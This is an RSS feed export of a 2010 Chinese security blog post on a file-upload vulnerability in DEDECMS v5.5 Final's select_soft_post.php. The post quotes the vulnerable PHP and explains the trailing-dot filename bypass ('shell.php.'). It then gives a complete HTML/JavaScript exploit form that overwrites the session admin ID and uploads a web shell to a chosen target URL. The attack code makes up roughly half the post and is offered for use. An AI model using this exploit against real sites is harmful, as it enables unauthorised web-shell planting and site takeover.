<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>st0p&#039;s blog &#187; DEDECMS v5.5</title>
	<atom:link href="http://www.st0p.org/blog/tag/dedecms-v5-5/feed" rel="self" type="application/rss+xml" />
	<link>http://www.st0p.org/blog</link>
	<description>孤高之路不可走,一时的弱者,不是一辈子的弱者!</description>
	<lastBuildDate>Tue, 03 Jan 2012 10:48:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>DEDECMS v5.5 Final select_soft_post.php 漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html#comments</comments>
		<pubDate>Mon, 08 Mar 2010 17:22:23 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[DEDECMS v5.5]]></category>
		<category><![CDATA[select_soft_post.php]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=389</guid>
		<description><![CDATA[作者:st0p 转载请注明出处 http://www.st0p.org 今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/ 自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了.. 而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧.. 我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK... 看了一下/include/dialog/select_soft_post.php 问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ...... //文件名（前为手工指定， 后者自动处理） if&#40;!empty&#40;$newname&#41;&#41; &#123; $filename = $newname; [...]]]></description>
			<content:encoded><![CDATA[<p>作者:st0p<br />
转载请注明出处 http://www.st0p.org</p>
<p>今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:<a  href="http://bbs.wolvez.org/topic/125/" target="_blank">http://bbs.wolvez.org/topic/125/</a></p>
<p>自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..</p>
<p>而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..</p>
<p>我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...</p>
<p>看了一下/include/dialog/select_soft_post.php</p>
<p>问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">......</span>
<span style="color: #666666; font-style: italic;">//文件名（前为手工指定， 后者自动处理）</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$newname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$newname</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当我们的新名称为st0p.php.的时候</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;\.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当$filename中不含有.的时候调用</span>
	<span style="color: #b1b100;">else</span> <span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当$filename中含有.时调用</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_not_allowall</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//$fs[count($fs)-1]得到的值为空,跳过验证</span>
	<span style="color: #009900;">&#123;</span>
		ShowMsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;你指定的文件名被系统禁止！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;\.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cuserLogin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getUserID</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'-'</span><span style="color: #339933;">.</span>dd2char<span style="color: #009900;">&#40;</span>MyDate<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ymdHis'</span><span style="color: #339933;">,</span><span style="color: #000088;">$nowtme</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_not_allowall</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		ShowMsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;你上传了某些可能存在不安全因素的文件，系统拒绝操作！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$fullfilename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_basedir</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//嘿嘿,跳过验证,$filename还为st0p.php.</span>
<span style="color: #000088;">$fullfileurl</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$activepath</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span>
<span style="color: #990000;">move_uploaded_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uploadfile</span><span style="color: #339933;">,</span><span style="color: #000088;">$fullfilename</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;上传文件到 <span style="color: #006699; font-weight: bold;">$fullfilename</span> 失败！&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">@</span><span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uploadfile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">......</span></pre></td></tr></table></div>

<p>EXP如下</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;title&gt;DEDECMS v5.5 Final select_soft_post.php EXP&lt;/title&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
&lt;/script&gt;
&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
body {
	text-align: center;
}
--&gt;
&lt;/style&gt;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;h3&gt;DEDECMS v5.5 Final select_soft_post.php EXP&lt;/h3&gt;
&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;p&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;_SESSION[dede_admin_id]&quot; value=&quot;1&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;bkurl&quot; value=&quot;1&quot; /&gt;
    &lt;label&gt;Target:
      &lt;input name=&quot;target&quot; type=&quot;text&quot; id=&quot;target&quot; value=&quot;http://target&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;Path:
      &lt;input name=&quot;path&quot; type=&quot;text&quot; id=&quot;path&quot; value=&quot;/include/dialog/select_soft_post.php&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;File:
      &lt;input type=&quot;file&quot; name=&quot;uploadfile&quot; id=&quot;uploadfile&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;NewName:
      &lt;input name=&quot;newname&quot; type=&quot;text&quot; id=&quot;newname&quot; value=&quot;shell.php.&quot; /&gt;
    &lt;/label&gt;
    &amp;nbsp;&lt;input type=&quot;submit&quot; name=&quot;button&quot; id=&quot;button&quot; value=&quot;Fuck&quot; onclick=&quot;fsubmit()&quot; /&gt;
  &lt;/p&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>72</slash:comments>
		</item>
	</channel>
</rss>

